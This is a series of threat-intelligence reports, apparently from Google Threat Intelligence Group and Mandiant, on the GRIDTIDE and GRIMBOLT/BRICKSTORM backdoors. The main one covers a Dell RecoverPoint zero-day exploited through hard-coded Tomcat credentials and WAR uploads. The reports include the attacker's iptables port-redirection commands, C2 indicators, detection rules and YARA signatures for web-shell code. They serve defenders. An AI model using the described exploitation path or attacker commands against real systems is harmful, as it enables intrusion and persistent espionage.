    AND target.file.full_path = /^(\/usr\/sbin|\/sbin|\/var\/tmp)\/[^\\\/]+\.cfg$/ nocase
    Suspicious Shell Execution from /var/tmp/

    Detects executables with short alphanumeric filenames, launching from the /var/tmp/ directory, and spawning a shell.

    principal.process.file.full_path = /^\/var\/tmp\/[a-z0-9]{1,10}$/ nocase AND
    target.process.file.full_path = /\b(ba)?sh$/ nocase

    Indicators of Compromise (IOCs)

    The following IOCs are available in a free Google Threat Intelligence (GTI) collection for registered users.

    Host-Based Artifacts

    Artifact

    Description

    Hash (SHA256)

    xapt

    GRIDTIDE

    ce36a5fc44cbd7de947130b67be9e732a7b4086fb1df98a5afd724087c973b47

    xapt.cfg

    Key file used by GRIDTIDE to decrypt its Google Drive configuration.

    01fc3bd5a78cd59255a867ffb3dfdd6e0b7713ee90098ea96cc01c640c6495eb

    xapt.service

    Malicious systemd service file created for GRIDTIDE persistence.

    eb08c840f4c95e2fa5eff05e5f922f86c766f5368a63476f046b2b9dbffc2033

    hamcore.se2

    SoftEtherVPN Bridge component.

    4eb994b816a1a24cf97bfd7551d00fe14b810859170dbf15180d39e05cd7c0f9

    fire

    SoftEtherVPN Bridge component (renamed from vmlog). Extracted from update.tar.gz.

    4eb994b816a1a24cf97bfd7551d00fe14b810859170dbf15180d39e05cd7c0f9

    vpn_bridge.config

    SoftEtherVPN Bridge configuration.

    669917bad46a57e5f2de037f8ec200a44fb579d723af3e2f1be1e8479a267966

    apt.tar.gz

    Archive downloaded from 130.94.6[.]228. Contained GRIDTIDE.

    N/A

    update.tar.gz

    Additional archive downloaded. Contained vmlog (renamed to fire), a SoftEtherVPN Bridge component.

    N/A

    amp.tar.gz

    Additional archive downloaded. Contained hamcore.se2, a SoftEtherVPN Bridge component.

    N/A

    pmp

    GRIDTIDE variant.

    N/A

    pmp.cfg

    GRIDTIDE variant key file.

    N/A

    Network-Based Artifacts

    Type

    Description

    Artifact

    IP

    C2 server hosting apt.tar.gz, update.tar.gz, and amp.tar.gz.

    130[.]94[.]6[.]228

    IP

    Target of a curl -ik command to verify HTTPS access to their infrastructure.

    38[.]180[.]205[.]14

    IP

    Threat actor’s SoftEtherVPN server.

    38[.]60[.]194[.]21

    IP

    Attacker IP

    38[.]54[.]112[.]184

    IP

    Attacker IP

    38[.]60[.]171[.]242

    IP

    Attacker IP

    195[.]123[.]211[.]70

    IP

    Attacker IP

    202[.]59[.]10[.]122

    IP

    Hosting malicious C2 domain.

    38[.]60[.]252[.]66

    IP

    Hosting malicious C2 domain.

    45[.]76[.]184[.]214

    IP

    Hosting malicious C2 domain.

    45[.]90[.]59[.]129

    IP

    Hosting malicious C2 domain.

    195[.]123[.]226[.]235

    IP

    Hosting malicious C2 domain.

    65[.]20[.]104[.]91

    IP

    Hosting malicious C2 domain.

    5[.]34[.]176[.]6

    IP

    Hosting malicious C2 domain.

    139[.]84[.]236[.]237

    IP

    Hosting malicious C2 domain.

    149[.]28[.]128[.]128

    IP

    Hosting malicious C2 domain.

    38[.]54[.]31[.]146

    IP

    Hosting malicious C2 domain.

    178[.]79[.]188[.]181

    IP

    Hosting malicious C2 domain.

    38[.]54[.]37[.]196

    IP

    SoftEtherVPN server.

    207[.]148[.]73[.]18

    IP

    SoftEtherVPN server.

    38[.]60[.]224[.]25

    IP

    SoftEtherVPN server.

    149[.]28[.]139[.]125

    IP

    SoftEtherVPN server.

    38[.]54[.]32[.]244

    IP

    SoftEtherVPN server.

    38[.]54[.]82[.]69

    IP

    SoftEtherVPN server.

    45[.]76[.]157[.]113

    IP

    SoftEtherVPN server.

    45[.]77[.]254[.]168

    IP

    SoftEtherVPN server.

    139[.]180[.]219[.]115

    User-Agent

    GRIDTIDE User-Agent string.

    Directory API Google-API-Java-Client/2.0.0 Google-HTTP-Java-Client/1.42.3 (gzip)

    User-Agent

    GRIDTIDE User-Agent string.

    Google-HTTP-Java-Client/1.42.3 (gzip)

    Domain

    C2 domain

    1cv2f3d5s6a9w[.]ddnsfree[.]com

    Domain

    C2 domain

    admina[.]freeddns[.]org

    Domain

    C2 domain

    afsaces[.]accesscam[.]org

    Domain

    C2 domain

    ancisesic[.]accesscam[.]org

    Domain

    C2 domain

    applebox[.]camdvr[.]org

    Domain

    C2 domain

    appler[.]kozow[.]com

    Domain

    C2 domain

    asdad21ww[.]freeddns[.]org

    Domain

    C2 domain

    aw2o25forsbc[.]camdvr[.]org

    Domain

    C2 domain

    awcc001jdaigfwdagdcew[.]giize[.]com

    Domain

    C2 domain

    bab2o25com[.]accesscam[.]org

    Domain

    C2 domain

    babaji[.]accesscam[.]org

    Domain

    C2 domain

    babi5599ss[.]ddnsgeek[.]com

    Domain

    C2 domain

    balabalabo[.]mywire[.]org

    Domain

    C2 domain

    bggs[.]giize[.]com

    Domain

    C2 domain

    bibabo[.]freeddns[.]org

    Domain

    C2 domain

    binmol[.]webredirect[.]org

    Domain

    C2 domain

    bioth[.]giize[.]com

    Domain

    C2 domain

    Boemobww[.]ddnsfree[.]com

    Domain

    C2 domain

    brcallletme[.]theworkpc[.]com

    Domain

    C2 domain

    btbtutil[.]theworkpc[.]com

    Domain

    C2 domain

    btltan[.]ooguy[.]com

    Domain

    C2 domain

    camcampkes[.]ddnsfree[.]com

    Domain

    C2 domain

    camsqewivo[.]kozow[.]com

    Domain

    C2 domain

    ccammutom[.]ddnsgeek[.]com

    Domain

    C2 domain

    cdnvmtools[.]theworkpc[.]com

    Domain

    C2 domain

    cloacpae[.]ddnsfree[.]com

    Domain

    C2 domain

    cmwwoods1[.]theworkpc[.]com

    Domain

    C2 domain

    cnrpaslceas[.]freeddns[.]org

    Domain

    C2 domain

    codemicros12[.]gleeze[.]com

    Domain

    C2 domain

    cressmiss[.]ooguy[.]com

    Domain

    C2 domain

    cvabiasbae[.]ddnsfree[.]com

    Domain

    C2 domain

    cvnoc01da1cjmnftsd[.]accesscam[.]org

    Domain

    C2 domain

    cvpc01aenusocirem[.]accesscam[.]org

    Domain

    C2 domain

    cvpc01cgsdfn53hgd[.]giize[.]com

    Domain

    C2 domain

    DCLCWPDTSDCC[.]ddnsfree[.]com

    Domain

    C2 domain

    dlpossie[.]ddnsfree[.]com

    Domain

    C2 domain

    dnsfreedb[.]ddnsfree[.]com

    Domain

    C2 domain

    doboudix1024[.]mywire[.]org

    Domain

    C2 domain

    evilginx2[.]loseyourip[.]com

    Domain

    C2 domain

    examp1e[.]webredirect[.]org

    Domain

    C2 domain

    faeelt[.]giize[.]com

    Domain

    C2 domain

    fakjcsaeyhs[.]ddnsfree[.]com

    Domain

    C2 domain

    fasceadvcva3[.]gleeze[.]com

    Domain

    C2 domain

    ffosies2024[.]camdvr[.]org

    Domain

    C2 domain

    fgdedd1dww[.]gleeze[.]com

    Domain

    C2 domain

    filipinet[.]ddnsgeek[.]com

    Domain

    C2 domain

    freeios[.]theworkpc[.]com

    Domain

    C2 domain

    ftpuser14[.]gleeze[.]com

    Domain

    C2 domain

    ftpzpak[.]kozow[.]com

    Domain

    C2 domain

    globoss[.]kozow[.]com

    Domain

    C2 domain

    gogo2025up[.]ddnsfree[.]com

    Domain

    C2 domain

    googlel[.]gleeze[.]com

    Domain

    C2 domain

    googles[.]accesscam[.]org

    Domain

    C2 domain

    googles[.]ddnsfree[.]com

    Domain

    C2 domain

    googlett[.]camdvr[.]org

    Domain

    C2 domain

    googllabwws[.]gleeze[.]com

    Domain

    C2 domain

    gtaldps31c[.]ddnsfree[.]com

    Domain

    C2 domain

    hamkorg[.]kozow[.]com

    Domain

    C2 domain

    honidoo[.]loseyourip[.]com

    Domain

    C2 domain

    huygdr12[.]loseyourip[.]com

    Domain

    C2 domain

    icekancusjhea[.]ddnsgeek[.]com

    Domain

    C2 domain

    idstandsuui[.]kozow[.]com

    Domain

    C2 domain

    indoodchat[.]theworkpc[.]com

    Domain

    C2 domain

    jarvis001[.]freeddns[.]org

    Domain

    C2 domain

    Kaushalya[.]freeddns[.]org

    Domain

    C2 domain

    khyes001ndfpnuewdm[.]kozow[.]com

    Domain

    C2 domain

    kskxoscieontrolanel[.]gleeze[.]com

    Domain

    C2 domain

    ksv01sokudwongsj[.]theworkpc[.]com

    Domain

    C2 domain

    lcskiecjj[.]loseyourip[.]com

    Domain

    C2 domain

    lcskiecs[.]ddnsfree[.]com

    Domain

    C2 domain

    losiesca[.]ddnsgeek[.]com

    Domain

    C2 domain

    lps2staging[.]ddnsfree[.]com

    Domain

    C2 domain

    lsls[.]casacam[.]net

    Domain

    C2 domain

    ltiuys[.]ddnsgeek[.]com

    Domain

    C2 domain

    ltiuys[.]kozow[.]com

    Domain

    C2 domain

    mailsdy[.]gleeze[.]com

    Domain

    C2 domain

    maliclick1[.]ddnsfree[.]com

    Domain

    C2 domain

    mauritasszddb[.]ddnsfree[.]com

    Domain

    C2 domain

    meetls[.]kozow[.]com

    Domain

    C2 domain

    Microsoft[.]bumbleshrimp[.]com

    Domain

    C2 domain

    ml3[.]freeddns[.]org

    Domain

    C2 domain

    mlksucnayesk[.]kozow[.]com

    Domain

    C2 domain

    mmmfaco2025[.]mywire[.]org

    Domain

    C2 domain

    mms[.]bumbleshrimp[.]com

    Domain

    C2 domain

    mmvmtools[.]giize[.]com

    Domain

    C2 domain

    modgood[.]gleeze[.]com

    Domain

    C2 domain

    Mosplosaq[.]accesscam[.]org

    Domain

    C2 domain

    mysql[.]casacam[.]net

    Domain

    C2 domain

    nenigncagvawr[.]giize[.]com

    Domain

    C2 domain

    nenignenigoncqvoo[.]ooguy[.]com

    Domain

    C2 domain

    nenigoncqnutgo[.]accesscam[.]org

    Domain

    C2 domain

    nenigoncuopzc[.]giize[.]com

    Domain

    C2 domain

    nims[.]gleeze[.]com

    Domain

    C2 domain

    nisaldwoa[.]theworkpc[.]com

    Domain

    C2 domain

    nmszablogs[.]ddnsfree[.]com

    Domain

    C2 domain

    nodekeny11[.]freeddns[.]org

    Domain

    C2 domain

    nodjs2o25nodjs[.]giize[.]com

    Domain

    C2 domain

    Npeoples[.]theworkpc[.]com

    Domain

    C2 domain

    officeshan[.]kozow[.]com

    Domain

    C2 domain

    okkstt[.]ddnsgeek[.]com

    Domain

    C2 domain

    oldatain1[.]ddnsgeek[.]com

    Domain

    C2 domain

    onlyosun[.]ooguy[.]com

    Domain

    C2 domain

    osix[.]ddnsgeek[.]com

    Domain

    C2 domain

    ovmmiuy[.]mywire[.]org

    Domain

    C2 domain

    palamolscueajfvc[.]gleeze[.]com

    Domain

    C2 domain

    pawanp[.]kozow[.]com

    Domain

    C2 domain

    pcmainecia[.]ddnsfree[.]com

    Domain

    C2 domain

    pcvmts3[.]kozow[.]com

    Domain

    C2 domain

    peisuesacae[.]loseyourip[.]com

    Domain

    C2 domain

    peowork[.]ddnsgeek[.]com

    Domain

    C2 domain

    pepesetup[.]ddnsfree[.]com

    Domain

    C2 domain

    pewsus[.]freeddns[.]org

    Domain

    C2 domain

    plcoaweniva[.]ddnsgeek[.]com

    Domain

    C2 domain

    PolicyAgent[.]theworkpc[.]com

    Domain

    C2 domain

    polokinyea[.]gleeze[.]com

    Domain

    C2 domain

    pplodsssead222[.]loseyourip[.]com

    Domain

    C2 domain

    pplosad231[.]kozow[.]com

    Domain

    C2 domain

    ppsaBedon[.]gleeze[.]com

    Domain

    C2 domain

    prdanjana01[.]ddnsfree[.]com

    Domain

    C2 domain

    prepaid127[.]freeddns[.]org

    Domain

    C2 domain

    PRIFTP[.]kozow[.]com

    Domain

    C2 domain

    prihxlcs[.]ddnsfree[.]com

    Domain

    C2 domain

    prihxlcsw[.]theworkpc[.]com

    Domain

    C2 domain

    pxlaxvvva[.]freeddns[.]org

    Domain

    C2 domain

    quitgod2023luck[.]giize[.]com

    Domain

    C2 domain

    rabbit[.]ooguy[.]com

    Domain

    C2 domain

    rsm323[.]kozow[.]com

    Domain

    C2 domain

    saf3asg[.]giize[.]com

    Domain

    C2 domain

    Scopps[.]ddnsgeek[.]com

    Domain

    C2 domain

    sdhite43[.]ddnsfree[.]com

    Domain

    C2 domain

    sdsuytoins63[.]kozow[.]com

    Domain

    C2 domain

    selfad[.]gleeze[.]com

    Domain

    C2 domain

    serious[.]kozow[.]com

    Domain

    C2 domain

    setupcodpr2[.]freeddns[.]org

    Domain

    C2 domain

    sgsn[.]accesscam[.]org

    Domain

    C2 domain

    Smartfren[.]giize[.]com

    Domain

    C2 domain

    sn0son4t31bbsvopou[.]camdvr[.]org

    Domain

    C2 domain

    sn0son4t31opc[.]freeddns[.]org

    Domain

    C2 domain

    soovuy[.]gleeze[.]com

    Domain

    C2 domain

    styuij[.]mywire[.]org

    Domain

    C2 domain

    supceasfg1[.]loseyourip[.]com

    Domain

    C2 domain

    systemsz[.]kozow[.]com

    Domain

    C2 domain

    t31c0mjumpcuyerop[.]ooguy[.]com

    Domain

    C2 domain

    t31c0mopamcuiomx[.]kozow[.]com

    Domain

    C2 domain

    t31c0mopmiuewklg[.]webredirect[.]org

    Domain

    C2 domain

    t31c0mopocuveop[.]accesscam[.]org

    Domain

    C2 domain

    t3lc0mcanyqbfac[.]loseyourip[.]com

    Domain

    C2 domain

    t3lc0mczmoihwc[.]camdvr[.]org

    Domain

    C2 domain

    t3lc0mh4udncifw[.]casacam[.]net

    Domain

    C2 domain

    t3lc0mhasvnctsk[.]giize[.]com

    Domain

    C2 domain

    t3lm0rtlcagratu[.]kozow[.]com

    Domain

    C2 domain

    tch[.]giize[.]com

    Domain

    C2 domain

    telcomn[.]giize[.]com

    Domain

    C2 domain

    telen[.]bumbleshrimp[.]com

    Domain

    C2 domain

    telkom[.]ooguy[.]com

    Domain

    C2 domain

    telkomservices[.]theworkpc[.]com

    Domain

    C2 domain

    thbio[.]kozow[.]com

    Domain

    C2 domain

    timpe[.]kozow[.]com

    Domain

    C2 domain

    timpe[.]webredirect[.]org

    Domain

    C2 domain

    tlse001hdfuwwgdgpnn[.]theworkpc[.]com

    Domain

    C2 domain

    tltlsktelko[.]ddnsfree[.]com

    Domain

    C2 domain

    transport[.]dynuddns[.]net

    Domain

    C2 domain

    trvcl[.]bumbleshrimp[.]com

    Domain

    C2 domain

    ttsiou12[.]loseyourip[.]com

    Domain

    C2 domain

    ua2o25yth[.]ddnsgeek[.]com

    Domain

    C2 domain

    udieyg[.]gleeze[.]com

    Domain

    C2 domain

    unnjunnani[.]ddnsfree[.]com

    Domain

    C2 domain

    updatamail[.]kozow[.]com

    Domain

    C2 domain

    updatasuccess[.]ddnsgeek[.]com

    Domain

    C2 domain

    updateservices[.]kozow[.]com

    Domain

    C2 domain

    updatetools[.]giize[.]com

    Domain

    C2 domain

    uscplxsecjs[.]ddnsgeek[.]com

    Domain

    C2 domain

    USOShared1[.]ddnsfree[.]com

    Domain

    C2 domain

    vals[.]bumbleshrimp[.]com

    Domain

    C2 domain

    vass[.]ooguy[.]com

    Domain

    C2 domain

    vass2025[.]casacam[.]net

    Domain

    C2 domain

    vmtools[.]camdvr[.]org

    Domain

    C2 domain

    vmtools[.]loseyourip[.]com

    Domain

    C2 domain

    vosies[.]ddnsfree[.]com

    Domain

    C2 domain

    vpaspmine[.]freeddns[.]org

    Domain

    C2 domain

    wdlcamaakc[.]ooguy[.]com

    Domain

    C2 domain

    winfoss1[.]kozow[.]com

    Domain

    C2 domain

    ysiohbk[.]camdvr[.]org

    Domain

    C2 domain

    zammffayhd[.]ddnsfree[.]com

    Domain

    C2 domain

    zmcmvmbm[.]ddnsfree[.]com

    Domain

    C2 domain

    zwmn350n3o1fsdf3gs[.]kozow[.]com

    Domain

    C2 domain

    zwmn350n3o1ugety2xbe[.]camdvr[.]org

    Domain

    C2 domain

    zwmn350n3o1vsdrggs[.]ddnsfree[.]com

    Domain

    C2 domain

    zwt310n3o1unety2kab[.]webredirect[.]org

    Domain

    C2 domain

    zwt310n3o2unety6a3k[.]kozow[.]com

    Domain

    C2 domain

    zwt31n3t0nidoqmve[.]camdvr[.]org

    Domain

    C2 domain

    zwt3ln3t1aimckalw[.]theworkpc[.]com

    SHA256 Hash

    Self-signed X.509 SSL certificate

    d25024ccea8eac85a9522289cfb709f2ed4e20176dd37855bacc2cd75c995606

    Description

    URLs

    Archive contained GRIDTIDE.

    http://130[.]94[.]6[.]228/apt.tar.gz

    Archive contained a SoftEtherVPN Bridge component.

    http://130[.]94[.]6[.]228/update.tar.gz

    Archive contained a SoftEtherVPN Bridge component.

    http://130[.]94[.]6[.]228/amp.tar.gz

    GRIDTIDE leverages this API endpoint to monitor cell A1 of the spreadsheet for threat actor commands.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values/A1?valueRenderOption=FORMULA

    GRIDTIDE leverages this API endpoint to clear data from the first 1000 rows of the spreadsheet.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values:batchClear

    GRIDTIDE leverages this API endpoint to exfiltrate victim host metadata to cell V1, report command execution output and status messages to cell A1, and to transfer data into the A2:An cell range.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values:batchUpdate

    GRIDTIDE leverages this API endpoint to transfer data from the A2:An cell range to the victim host.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values/A2:A<cell_number>?valueRenderOption=FORMULA

    GRIDTIDE YARA Rule

    rule G_APT_Backdoor_GRIDTIDE_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$s1 = { 7B 22 61 6C 67 22 3A 22 52 53 32 35 36 22 2C 22 6B 69 64 22 3A 22 25 73 22 2C 22 74 79 70 22 3A 22 4A 57 54 22 7D 00 }
    		$s2 = { 2F 70 72 6F 63 2F 73 65 6C 66 2F 65 78 65 00 }
    		$s3 = { 7B 22 72 61 6E 67 65 73 22 3A 5B 22 61 31 3A 7A 31 30 30 30 22 5D 7D 00 }
    		$s4 = { 53 2D 55 2D 25 73 2D 31 00 }
    		$s5 = { 53 2D 55 2D 52 2D 31 00 }
    		$s6 = { 53 2D 44 2D 25 73 2D 30 00 }
    		$s7 = { 53 2D 44 2D 52 2D 25 64 00 }
    	condition:
    		(uint32(0) == 0x464c457f) and 6 of ($*)
    }
    Received — 19 February 2026 Threat Intelligence

    From BRICKSTORM to GRIMBOLT: UNC6201 Exploiting a Dell RecoverPoint for Virtual Machines Zero-Day

    17 February 2026 at 15:00

    Written by: Peter Ukhanov, Daniel Sislo, Nick Harbour, John Scarbrough, Fernando Tomlinson, Jr., Rich Reece


    Introduction 

    Mandiant and Google Threat Intelligence Group (GTIG) have identified the zero-day exploitation of a high-risk vulnerability in Dell RecoverPoint for Virtual Machines, tracked as CVE-2026-22769with a CVSSv3.1 score of 10.0. Analysis of incident response engagements revealed that UNC6201, a suspected PRC-nexus threat cluster, has exploited this flaw since at least mid-2024 to move laterally, maintain persistent access, and deploy malware including SLAYSTYLE, BRICKSTORM, and a novel backdoor tracked as GRIMBOLT. The initial access vector for these incidents was not confirmed, but UNC6201 is known to target edge appliances (such as VPN concentrators) for initial access. There are notable overlaps between UNC6201 and UNC5221, which has been used synonymously with the actor publicly reported as Silk Typhoon, although GTIG does not currently consider the two clusters to be the same.

    This report builds on previous GTIG research into BRICKSTORM espionage activity, providing a technical deep dive into the exploitation of CVE-2026-22769 and the functionality of the GRIMBOLT malware. Mandiant identified a campaign featuring the replacement of older BRICKSTORM binaries with GRIMBOLT in September 2025. GRIMBOLT represents a shift in tradecraft; this newly identified malware, written in C# and compiled using native ahead-of-time (AOT) compilation, is designed to complicate static analysis and enhance performance on resource-constrained appliances.

    Beyond the Dell appliance exploitation, Mandiant observed the actor employing novel tactics to pivot into VMware virtual infrastructure, including the creation of "Ghost NICs" for stealthy network pivoting and the use of iptables for Single Packet Authorization (SPA).

    Dell has released remediations for CVE-2026-22769, and customers are urged to follow the guidance in the official Security Advisory. This post provides actionable hardening guidance, detection opportunities, and a technical analysis of the UNC6201 tactics, techniques, and procedures (TTPs).

    GRIMBOLT

    During analysis of compromised Dell RecoverPoint for Virtual Machines, Mandiant discovered the presence of BRICKSTORM binaries and the subsequent replacement of these binaries with GRIMBOLT in September 2025. GRIMBOLT is a C#-written foothold backdoor compiled using native ahead-of-time (AOT) compilation and packed with UPX. It provides a remote shell capability and uses the same command and control as previously deployed BRICKSTORM payload. It's unclear if the threat actor's replacement of BRICKSTORM with GRIMBOLT was part of a pre-planned life cycle iteration by the threat actor or a reaction to incident response efforts led by Mandiant and other industry partners. Unlike traditional .NET software that uses just-in-time (JIT) compilation at runtime, Native AOT-compiled binaries, introduced to .NET in 2022, are converted directly to machine-native code during compilation. This approach enhances the software’s performance on resource-constrained appliances, ensures required libraries are already present in the file, and complicates static analysis by removing the common intermediate language (CIL) metadata typically associated with C# samples.

    UNC6201 established BRICKSTORM and GRIMBOLT persistence on the Dell RecoverPoint for Virtual Machines by modifying a legitimate shell script named convert_hosts.sh to include the path to the backdoor. This shell script is executed by the appliance at boot time via rc.local.

    CVE-2026-22769

    Mandiant discovered CVE-2026-22769 while investigating multiple Dell RecoverPoint for Virtual Machines within a victim’s environment that had active C2 associated with BRICKSTORM and GRIMBOLT backdoors. During analysis of the appliances, analysts identified multiple web requests to an appliance prior to compromise using the username admin. These requests were directed to the installed Apache Tomcat Manager, used to deploy various components of the Dell RecoverPoint software, and resulted in the deployment of a malicious WAR file containing a SLAYSTYLE web shell.

    After analyzing various configuration files belonging to Tomcat Manager, we identified a set of hard-coded default credentials for the admin user in /home/kos/tomcat9/tomcat-users.xml. Using these credentials, a threat actor could authenticate to the Dell RecoverPoint Tomcat Manager, upload a malicious WAR file using the /manager/text/deploy endpoint, and then execute commands as root on the appliance.

    The earliest identified exploitation activity of this vulnerability occurred in mid-2024.

    Newly Observed VMware Activity

    During the course of the recent investigations, Mandiant observed continued compromise of VMware virtual infrastructure by the threat actor as previously reported by Mandiant, CrowdStrike, and CISA. Additionally, several new TTPs were discovered that haven’t been previously reported on.

    Ghost NICs

    Mandiant discovered the threat actor creating new temporary network ports on existing virtual machines running on an ESXi server. Using these network ports, the threat actor then pivoted to various internal and software-as-a-service (SaaS) infrastructures used by the affected organizations.

    iptables proxying

    While analyzing compromised vCenter appliances, Mandiant recovered several commands from Systemd Journal executed by the threat actor using a deployed SLAYSTYLE web shell. These iptable commands were used for Single Packet Authorization and consisted of:

    • Monitoring incoming traffic on port 443 for a specific HEX string

    • Adding the source IP of that traffic to a list and if the IP is on the list and connects to port 10443, the connection is ACCEPTED

    • Once the initial approved traffic comes in to port 10443, any subsequent traffic is automatically redirected

    • For the next 300 seconds (five minutes), any traffic to port 443 is silently redirected to port 10443 if the IP is on the approved list

    iptables -I INPUT -i eth0 -p tcp --dport 443 -m string --hex-string <HEX_STRING>
    iptables -A port_filter -i eth0 -p tcp --dport 10443 --syn -m recent --rcheck --name ipt -j ACCEPT
    iptables -t nat -N IPT
    iptables -t nat -A IPT -p tcp -j REDIRECT --to-ports 10443
    iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 --syn -m recent --rcheck --name ipt --seconds 300 -j IPT

    Remediation

    The following investigative guide can assist defenders in analyzing Dell RecoverPoint for Virtual Machines

    Forensic Analysis of Dell RecoverPoint Disk Image

    The following artifacts are high-value sources of evidence for incident responders conducting full disk image analysis of Dell RecoverPoint for Virtual Machines.

    • Web logs for Tomcat Manager are stored in /home/kos/auditlog/fapi_cl_audit_log.log. Check log file for any instances of requests to /manager. Any instances of those requests should be considered suspicious

      • Any requests for PUT /manager/text/deploy?path=/<MAL_PATH>&update=true are potentially malicious. MAL_PATH will be the path where a potentially malicious WAR file was uploaded

    • Uploaded WAR files are typically stored in /var/lib/tomcat9

    • Compiled artifacts for uploaded WAR files are located in /var/cache/tomcat9/Catalina

    • Tomcat application logs located in /var/log/tomcat9/

      • Catalina - investigate any org.apache.catalina.startup.HostConfig.deployWAR and org.apache.catalina.startup.HostConfig.deployWAR events

      • Localhost - Contains additional events associated with WAR deployment and any exceptions generated by malicious WAR and embedded files 

    • Persistence for BRICKSTORM and GRIMBOLT backdoors on Dell RecoverPoint for Virtual Machines was established by modifying /home/kos/kbox/src/installation/distribution/convert_hosts.sh to include the path to the backdoor

    Indicators of Compromise (IOCs)

    To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

    File Indicators

    Family

    File Name

    SHA256

    GRIMBOLT 

    support

    24a11a26a2586f4fba7bfe89df2e21a0809ad85069e442da98c37c4add369a0c

    GRIMBOLT

    out_elf_2

    dfb37247d12351ef9708cb6631ce2d7017897503657c6b882a711c0da8a9a591

    SLAYSTYLE

    default_jsp.java

    92fb4ad6dee9362d0596fda7bbcfe1ba353f812ea801d1870e37bfc6376e624a

    BRICKSTORM

    N/A

    aa688682d44f0c6b0ed7f30b981a609100107f2d414a3a6e5808671b112d1878

    BRICKSTORM

    splisten

    2388ed7aee0b6b392778e8f9e98871c06499f476c9e7eae6ca0916f827fe65df

    BRICKSTORM

    N/A

    320a0b5d4900697e125cebb5ff03dee7368f8f087db1c1570b0b62f5a986d759

    BRICKSTORM

    N/A

    90b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035

    BRICKSTORM

    N/A

    45313a6745803a7f57ff35f5397fdf117eaec008a76417e6e2ac8a6280f7d830

    Network Indicators

    Family

    Indicator

    Type

    GRIMBOLT

    wss://149.248.11.71/rest/apisession

    C2 Endpoint

    GRIMBOLT

    149.248.11.71

    C2 IP

    YARA Rules

    G_APT_BackdoorToehold_GRIMBOLT_1
    rule G_APT_BackdoorToehold_GRIMBOLT_1
    {
      meta:
        author = "Google Threat Intelligence Group (GTIG)"
      strings:
        $s1 = { 40 00 00 00 41 18 00 00 00 4B 21 20 C2 2C 08 23 02 }
        $s2 = { B3 C3 BB 41 0D ?? ?? ?? 00 81 02 0C ?? ?? ?? 00 }
        $s3 = { 39 08 01 49 30 A0 52 30 00 00 00 DB 40 09 00 02 00 80 65 BC 98 }
        $s4 = { 2F 00 72 00 6F 00 75 00 74 00 65 79 23 E8 03 0E 00 00 00 2F 00 70 00 72 00 6F 00 63 00 2F 00 73 00 65 00 6C 00 66 00 2F 00 65 00 78 00 65 }
      condition:
        (uint32(0) == 0x464c457f) //linux
        and all of ($s*)
    }
    G_Hunting_BackdoorToehold_GRIMBOLT_1
    rule G_Hunting_BackdoorToehold_GRIMBOLT_1
    {
        meta:
            author = "Google Threat Intelligence Group (GTIG)"
    
        strings:
            $s1 = "[!] Error : Plexor is nul" ascii wide
            $s2 = "port must within 0~6553" ascii wide
            $s3 = "[*] Disposing.." ascii wide
            $s4 = "[!] Connection error. Kill Pty" ascii wide
            $s5 = "[!] Unkown message type" ascii wide
            $s6 = "[!] Bad dat" ascii wide
        condition:
            (  
                (uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or
                uint32(0) == 0x464c457f or
                uint32(0) == 0xfeedface or
                uint32(0) == 0xcefaedfe or
                uint32(0) == 0xfeedfacf or
                uint32(0) == 0xcffaedfe or
                uint32(0) == 0xcafebabe or
                uint32(0) == 0xbebafeca or
                uint32(0) == 0xcafebabf or
                uint32(0) == 0xbfbafeca
            ) and any of them
    }
    G_APT_BackdoorWebshell_SLAYSTYLE_4
    rule G_APT_BackdoorWebshell_SLAYSTYLE_4
    {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$str1 = "<%@page import=\"java.io" ascii wide
    		$str2 = "Base64.getDecoder().decode(c.substring(1)" ascii wide
    		$str3 = "{\"/bin/sh\",\"-c\"" ascii wide
    		$str4 = "Runtime.getRuntime().exec(" ascii wide
    		$str5 = "ByteArrayOutputStream();" ascii wide
    		$str6 = ".printStackTrace(" ascii wide
    	condition:
    		$str1 at 0 and all of them
    }

    Google Security Operations (SecOps)

    Google Security Operations (SecOps) customers have access to these broad category rules and more under the “Mandiant Frontline Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

    • Web Archive File Write To Tomcat Directory

    • Remote Application Deployment via Tomcat Manager

    • Suspicious File Write To Tomcat Cache Directory

    • Kbox Distribution Script Modification

    • Multiple DNS-over-HTTPS Services Queried

    • Unknown Endpoint Generating DNS-over-HTTPS and Web Application Development Services Communication

    • Unknown Endpoint Generating Google DNS-over-HTTPS and Cloudflare Hosted IP Communication

    • Unknown Endpoint Generating Google DNS-over-HTTPS and Amazon Hosted IP Communication

    Acknowledgements

    We appreciate Dell for their collaboration against this threat. This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Jakub Jozwiak and Allan Sepillo from GTIG Research and Discovery (RAD).

    Received — 12 February 2026 Threat Intelligence

    GTIG AI Threat Tracker: Distillation, Experimentation, and (Continued) Integration of AI for Adversarial Use

    12 February 2026 at 15:00

    Introduction

    In the final quarter of 2025, Google Threat Intelligence Group (GTIG) observed threat actors increasingly integrating artificial intelligence (AI) to accelerate the attack lifecycle, achieving productivity gains in reconnaissance, social engineering, and malware development. This report serves as an update to our November 2025 findings regarding the advances in threat actor usage of AI tools.

    By identifying these early indicators and offensive proofs of concept, GTIG aims to arm defenders with the intelligence necessary to anticipate the next phase of AI-enabled threats, proactively thwart malicious activity, and continually strengthen both our classifiers and model.

    Executive Summary

    Google DeepMind and GTIG have identified an increase in model extraction attempts or "distillation attacks," a method of intellectual property theft that violates Google's terms of service. Throughout this report we've noted steps we've taken to thwart malicious activity, including Google detecting, disrupting, and mitigating model extraction activity. While we have not observed direct attacks on frontier models or generative AI products from advanced persistent threat (APT) actors, we observed and mitigated frequent model extraction attacks from private sector entities all over the world and researchers seeking to clone proprietary logic. 

